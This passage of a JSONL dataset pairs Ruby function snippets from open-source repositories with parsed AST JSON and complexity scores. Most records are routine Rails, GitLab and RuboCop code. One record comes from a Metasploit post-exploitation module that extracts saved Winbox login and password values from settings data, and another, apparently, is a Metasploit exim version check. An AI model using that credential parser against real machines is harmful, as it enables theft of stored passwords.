false'\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"==\",{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't connect to port \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXIMPORT\"]}]}]},{\"type\":\"str\",\"children\":[\", \"]}]},{\"type\":\"str\",\"children\":[\"are you sure exim is listening on this port? (see EXIMPORT)\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Exim ([0-9\\\\.]+)\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found exim version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lower_version\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"upper_version\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]}","id":"96dd4bd4-47bb-46d5-9128-4df79dfd1302"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/formatters/terminal256.rb","start_line":156,"raw_source":"def escape_sequence(token)\n        @escape_sequences ||= {}\n        @escape_sequences[token.name] ||=\n          EscapeSequence.new(get_style(token))\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"escape_sequence\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@escape_sequences\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@escape_sequences\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EscapeSequence\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"get_style\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]}]}","id":"f0a77ddb-82dd-4e93-9696-84d72f903137"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_regexp_argument.rb","start_line":48,"raw_source":"def on_send(node)\n          return unless (regexp_node = node.first_argument)\n          return unless regexp_node.regexp_type?\n          return if !regexp_node.regopt.children.empty? || regexp_node.content == ' '\n          return unless determinist_regexp?(regexp_node)\n\n          prefer = preferred_argument(regexp_node)\n          message = format(MSG, prefer: prefer, current: regexp_node.source)\n\n          add_offense(regexp_node, message: message) do |corrector|\n            corrector.replace(regexp_node, prefer)\n          end\n        end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"regexp_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp_node\"]},\"regexp_type?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp_node\"]},\"regopt\"]},\"children\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp_node\"]},\"content\"]},\"==\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"determinist_regexp?\",{\"type\":\"lvar\",\"children\":[\"regexp_node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"prefer\",{\"type\":\"send\",\"children\":[null,\"preferred_argument\",{\"type\":\"lvar\",\"children\":[\"regexp_node\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefer\"]},{\"type\":\"lvar\",\"children\":[\"prefer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp_node\"]},\"source\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"regexp_node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"regexp_node\"]},{\"type\":\"lvar\",\"children\":[\"prefer\"]}]}]}]}]}","id":"63cd0005-6c25-40b7-b451-1e8692fab890"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/mailer_generator_test.rb","start_line":153,"raw_source":"def test_mailer_on_revoke\n    run_generator\n    run_generator [\"notifier\"], behavior: :revoke\n\n    assert_no_file \"app/mailers/notifier.rb\"\n    assert_no_file \"app/views/notifier/foo.text.erb\"\n    assert_no_file \"app/views/notifier/bar.text.erb\"\n    assert_no_file \"app/views/notifier/foo.html.erb\"\n    assert_no_file \"app/views/notifier/bar.html.erb\"\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mailer_on_revoke\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"notifier\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"behavior\"]},{\"type\":\"sym\",\"children\":[\"revoke\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/mailers/notifier.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/views/notifier/foo.text.erb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/views/notifier/bar.text.erb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/views/notifier/foo.html.erb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/views/notifier/bar.html.erb\"]}]}]}]}","id":"b36ca937-12f2-4443-a6b6-30635c50f70e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250806153407_create_secret_rotation_infos.rb","start_line":8,"raw_source":"def up\n    create_table :secret_rotation_infos, if_not_exists: true do |t|\n      t.references :project, null: false, foreign_key: { on_delete: :cascade }, index: false\n      t.text :secret_name, null: false, limit: 255\n      t.integer :secret_metadata_version, null: false\n      t.integer :rotation_interval_days, null: false\n\n      t.timestamps_with_timezone\n    end\n\n    add_concurrent_index :secret_rotation_infos,\n      [:project_id, :secret_name, :secret_metadata_version],\n      unique: true,\n      name: 'idx_secret_rotation_infos_project_secret'\n  end","complexity_score":9.35,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"secret_rotation_infos\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"secret_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"secret_metadata_version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"rotation_interval_days\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"secret_rotation_infos\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"secret_name\"]},{\"type\":\"sym\",\"children\":[\"secret_metadata_version\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_secret_rotation_infos_project_secret\"]}]}]}]}]}]}","id":"5dba8b14-fc73-4b7f-87d7-eb0dceb3f932"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":306,"raw_source":"def test_has_many_array_methods_called_by_method_missing\n    assert authors(:david).categories.any? { |category| category.name == \"General\" }\n    assert_nothing_raised { authors(:david).categories.sort }\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_array_methods_called_by_method_missing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"categories\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"General\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"categories\"]},\"sort\"]}]}]}]}","id":"6c8d03e0-0e1a-4dfd-ab3e-43ffaa14726f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/output_processor.rb","start_line":109,"raw_source":"def test_output_format_escaped_with_escaped_literal\n    assert_output \"\", Sexp.new(:format_escaped,\n                               Sexp.new(:escaped_output, Sexp.new(:str, 'hi')))\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_output_format_escaped_with_escaped_literal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_output\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"format_escaped\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"escaped_output\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"str\",\"children\":[\"hi\"]}]}]}]}]}]}","id":"6896e804-2ecf-4bfc-bd2b-3f1442072354"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_trace_chunk.rb","start_line":230,"raw_source":"def unsafe_persist_data!(new_store = self.class.persistable_store)\n      return if data_store == new_store.to_s\n\n      current_data = data\n      old_store_class = current_store\n      current_size = current_data&.bytesize.to_i\n\n      unless current_size == CHUNK_SIZE || final?\n        raise FailedToPersistDataError, <<~MSG\n          data is not fulfilled in a bucket\n\n          size: #{current_size}\n          state: #{pending_state?}\n          max: #{chunks_max_index}\n          index: #{chunk_index}\n        MSG\n      end\n\n      self.raw_data = nil\n      self.data_store = new_store\n      self.checksum = self.class.crc32(current_data)\n\n      ##\n      # We need to so persist data then save a new store identifier before we\n      # remove data from the previous store to make this operation\n      # transaction-safe. `unsafe_set_data! calls `save!` because of this\n      # reason.\n      #\n      # TODO consider using callbacks and state machine to remove old data\n      #\n      saved = unsafe_set_data!(current_data)\n\n      # We've seen save! fail silently so don't delete the redis data to allow\n      # a self-heal to happen automatically the next run, raise to re-try\n      raise FailedToPersistDataError, 'Failed to save record - Check Postgres logs' unless saved\n\n      old_store_class.delete_data(self)\n    end","complexity_score":34.3,"ast_json":"{\"type\":\"def\",\"children\":[\"unsafe_persist_data!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"new_store\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"persistable_store\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_store\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_store\"]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"current_data\",{\"type\":\"send\",\"children\":[null,\"data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"old_store_class\",{\"type\":\"send\",\"children\":[null,\"current_store\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_size\",{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_data\"]},\"bytesize\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_size\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"CHUNK_SIZE\"]}]},{\"type\":\"send\",\"children\":[null,\"final?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"FailedToPersistDataError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"data is not fulfilled in a bucket\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"size: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_size\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"state: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_state?\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"max: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chunks_max_index\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"index: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chunk_index\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"raw_data=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data_store=\",{\"type\":\"lvar\",\"children\":[\"new_store\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"checksum=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"crc32\",{\"type\":\"lvar\",\"children\":[\"current_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"saved\",{\"type\":\"send\",\"children\":[null,\"unsafe_set_data!\",{\"type\":\"lvar\",\"children\":[\"current_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"saved\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"FailedToPersistDataError\"]},{\"type\":\"str\",\"children\":[\"Failed to save record - Check Postgres logs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_store_class\"]},\"delete_data\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"ff4931b4-dcfc-4557-a1c7-ece3935ad52e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1556,"raw_source":"def test_hash_condition_utc_time_interpolation_with_default_timezone_local\n    with_env_tz \"America/New_York\" do\n      with_timezone_config default: :local do\n        topic = Topic.first\n        assert_equal topic, Topic.where(written_on: topic.written_on.getutc).first\n      end\n    end\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hash_condition_utc_time_interpolation_with_default_timezone_local\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_env_tz\",{\"type\":\"str\",\"children\":[\"America/New_York\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_timezone_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"local\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"written_on\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]},\"getutc\"]}]}]}]},\"first\"]}]}]}]}]}]}","id":"60b09c8a-ed0b-4493-9d30-f27fdfcd0362"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/notifications/instrumenter_test.rb","start_line":87,"raw_source":"def test_record_works_without_a_block\n        event = instrumenter.new_event(\"no.block\", payload)\n        event.record\n\n        assert_equal \"no.block\", event.name\n        assert_equal payload, event.payload\n        assert_equal instrumenter.id, event.transaction_id\n        assert_not_nil event.time\n        assert_not_nil event.end\n      end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_record_works_without_a_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrumenter\"]},\"new_event\",{\"type\":\"str\",\"children\":[\"no.block\"]},{\"type\":\"send\",\"children\":[null,\"payload\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"record\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"no.block\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrumenter\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"transaction_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"end\"]}]}]}]}","id":"057c686e-eea7-4c52-b13b-177cb01e4ec9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/winbox_settings.rb","start_line":73,"raw_source":"def parse(data)\n    login = data.match(/\\x00\\x05login(.*)\\x08\\x00/)\n    print_good(\"Login: #{login[1]}\")\n\n    password = data.match(/\\x00\\x03pwd(.*)\\x0B\\x00/)\n    print_good(\"Password: #{password[1]}\")\n  rescue StandardError => e\n    print_error(\"An error occurred: #{e.message}\")\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"login\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\x00\\\\x05login(.*)\\\\x08\\\\x00\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Login: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\x00\\\\x03pwd(.*)\\\\x0B\\\\x00\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Password: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"An error occurred: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"025adef8-5151-4923-8c07-25433e778077"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/notification_recipient.rb","start_line":140,"raw_source":"def emails_disabled?\n    @project ? @project.emails_disabled? : @group&.emails_disabled?\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"emails_disabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"emails_disabled?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"emails_disabled?\"]}]}]}","id":"037f5655-3925-4840-b32b-d042e7ec2056"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/app/components/overviews/show_component.rb","start_line":54,"raw_source":"def life_cycle_sidebar_enabled?\n      @life_cycle_sidebar_enabled ||=\n        current_user.allowed_in_project?(:view_project_phases, project) &&\n        project.phases.active.any?\n    end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"life_cycle_sidebar_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@life_cycle_sidebar_enabled\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"view_project_phases\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"phases\"]},\"active\"]},\"any?\"]}]}]}]}","id":"ba039ace-dc4a-4d34-9265-e1975a4d0fa8"}
